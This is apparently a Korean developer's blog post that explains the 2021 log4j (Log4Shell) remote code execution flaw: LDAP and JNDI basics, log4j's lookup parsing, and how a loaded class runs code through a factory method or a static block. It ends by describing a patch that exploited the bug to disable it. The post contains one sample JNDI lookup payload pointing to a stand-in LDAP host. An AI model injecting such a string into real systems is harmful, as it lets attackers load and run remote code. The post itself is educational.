뒷북이지만 log4j exploit 분석해보기

최혜성·2024년 2월 1일
1

호달달

지난 2021년 12월경 log4j에서 취약점 하나가 발견되어서 크게 문제가 되었다.
다른 취약점들은 늘상 있는일이라 그런게 있나보다~ 하면서 보통 넘어갔는데, 이때는 너무 심각했다.

바로 RCE (Remote Code Execution) 원격 코드 실행이 가능한 취약점이였기 때문이다.
log4j는 늘상 스프링이나 여러 자바 기반 프레임워크, 라이브러리를 쓰다보면 어딜가나 로깅하는데 사용되곤 한다.

이 점이 개발자들이 핫픽스 하러 출근해야 하는 원흉이 되었다.
npm의 left-pad 라이브러리 처럼 log4j에 의존하는 다른 라이브러리, 프레임워크가 워낙 많았기 때문에 여파가 상당히 커졌고, 사태가 심각했다.

  • left-pad?
    npm에 있는 js기반으로 제작된 라이브러리? 코드?인데, 단순히 문자열에 띄어쓰기만 넣어주는 기능만 갖고 있다.
    근데 해당 라이브러리가 참조된곳이 워낙 많았는데, 이게 어느날 npm에서 내려가버리니 참조하는 모든 라이브러리, 기능들이 오류가 터졌다.
    https://velog.io/@weonest/Left-Pad-%EC%9D%B4%EC%8A%88

@Before

해당 취약점에 대해 알아보기 전에 몇가지 정보를 알고가야 한다.

Ldap (Lightweight Directory access protocol)

말 그대로 가벼운 디렉토리 접근 프로토콜이다. 쉽게 생각하면 ftp, ssh와 같은 일종의 프로토콜로 네트워크 상에서 디렉토리나 정보에 접근할 수 있다.

이 개념을 이해하기 어려웠는데, 그냥 웹상에서 돌아가는 yml db라고 보면 되겠다.
yml 방식과 유사하게 계층형으로 되어있고, 해당 계층을 통해 데이터에 접근할 수 있다.

JNDI (Java Naming and Directory Interface)

얘는 Ldap등과 같은 프로토콜을 통해 데이터를 관리할 수 있는 인터페이스이다.

??? jdbc같은 db 접속하는애랑 뭐가 달라

JDBC는 직접적으로 db에 연결하는 connection이고, 얘는 그냥 접근할 수 있는 인터페이스이다.
해당 인터페이스를 통해 '명명된' 데이터를 가져오고, 다룰 수 있다.

보통 Spring에서는 properties나 yml에 datasource로 db 정보를 저장해놓고 JPA보고 '해줘' 하면 알아서 뚝딱 해주는데, 대형 프로젝트 같은 곳에선 여러 db를 분리하고 사용하기 때문에, 이 과정이 상당히 번거롭다.

그러면 어캐하냐. yml에서 초기화하는게 아니라, ldap에다가 datasource를 저장해놓고 was보고 가져와줘~ 하면 적절하게 가져와준다. jndi가 ldap에 정보를 요청하고, 그걸 가져와서 datasource로 재구성해준다.

근데 이렇게 말해도 개념이 잘 안잡힌다. 그냥 원격지 서버에 있는 객체 가져온다고 생각하면 편할듯

@Run

그래서 왜 이 취약점이 터졌나?
log4j에 예전에 추가되었던 mapper가 사고를 쳤기 때문이다~
기존 string에 있던 중괄호 구문 (여기선 placeholder로 부를거임)을 너무 잘 파싱해줬다.

예를 들어 val str = "Hello World! ${java.home}" 뭐 이런식으로 문자열을 선언했을때
log4j로 로깅을 하면 "Hello World! ${java.home}" 이게 아니라 "Hello World! Java LTS 17..." 이런 느낌으로 실제 placeholder랑 매핑되는 값을 반환한것이다.

근데, 이게 문자열이면 다 되서, 로그가 찍히는 모든곳에 값을 보내면 다 이렇게 반환했다.
뭐 request를 로그 찍는다고 하면 header에다가 집어넣어도 반환하고 등등

근데?

요거 까지는 큰 문제가 되지 않았다. 물론 중요한 정보가 유출될 수 있긴 하지만 RMI 수준은 아니니까.

하지만 해당 placeholder에서 jndi로 자바 객체까지 가져올 수 있었다.

위에서 말했던것처럼 jndi는 그냥 원격지에서 객체를 가져올 수 있다. jndi를 이용해 ldap서버에 요청을 보내고, ldap는 객체를 반환하면 그게 서버로 흘러 들어간다는거다.

${jndi:ldap://example.com/a}
만약 위와 같은 placeholder를 문자열에 담아서 보내면 log4j는 해당 placeholder를 매핑하고, 이는 jndi가 ldap://example.com/a 주소로 가서 객체를 가져온다는 뜻이다.

그래서 공격자가 악성 class를 반환하는 ldap서버를 호스팅하고, 해당 문자열을 로그가 찍히는 어디에다 던져두면 해당 클래스를 로드시킬 수 있다.

이게 해당 취약점의 내용인데, 개인적으로는 마지막쯤에 약간 이해가 되지 않는 부분이 있었다.
jndi로 객체를 가져왔다고 쳐도, 해당 객체의 악성 메소드를 어떻게 실행시키는지 좀 궁금했다.

아무리 static method로 선언해두더라도 실제 invoke가 이뤄지지 않으면 의미가 없으니까.

class Foo {
	fun suspiciousMethod() {
    	print("일하러 가라")
    }
}

해당 클래스를 jndi로 불러왔다 해도, 밑에 method를 직접적으로 호출하지 않으면 작동하지 않는 코드이다.
val foo = Foo() 만 하고 멈춘 상황이라고 보면 되겠다.

그래서 자료를 더 찾아보니 factory를 이용했다.
jndi로 가져온 객체는 factory의 형태로 되어 있는데, jndi는 해당 팩토리의 getObjectInstance() 를 호출한다.
그러면 악의적인 클래스는 factory를 상속받고, getObjectInstance를 사용하면 되겠네?

이게 첫번째 방법이였고, 두번째 방법은 static block / constructor를 이용하는 방법이였다.
처음에 생각해낸 방법이 이거였는데, 생성자와 static block은 메소드 호출없이 무조건 실행되므로 이걸 이용한 방법이 있었다.

여튼, 해당 문제에 대한 픽스(무수한 야근)도 적절하게 이루어져 현재는 거의 해결된 문제다.

https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/
여담으로 해당 자료를 찾아보다 이 글을 봤는데,
log4j 취약점의 경우 사실상 Zero-day 취약점이라 대처할 시간이 없었다. 따라서 실제 운영중인 서비스들은 서버를 내리고, 변경사항을 적용하고 다시 시작하는데 상당한 시간이 소요된다. 일부의 경우는 대처하지 못하고 공격을 당하는 경우도 있을것이다.

해당 게시글은 위 취약점을 이용해서 취약점을 막아버리는 hotfix를 만들었다..!
취약점은 log4j가 실제 mapping하는 과정에서 일어나는 일이니, 해당 mapping을 막아버리면 임시적으로나마 해결할 수 있었다.

또한 취약점을 이용한 방식이니 관리자가 부재중이더라도 서버에 어떻게든 로그를 남길 수 있는 사람이라면 해당 기능을 바로 적용할 수 있었다.
코드도 Factory를 구현한 클래스가 getObjectInstance를 하는 과정에서 log4j의 mapping을 끄는 방식으로 구성되어 있었다.

이 글을 보고나니 뭔가 취약점을 역이용해서 문제를 해결한다는게 신기하기도 하고, 멋지기도 했다
이런 취약점을 분석하고, 대비하며 추후에는 정복할 수 있는 그런 개발자가 되면 좋겠당

profile
KRW 채굴기

0개의 댓글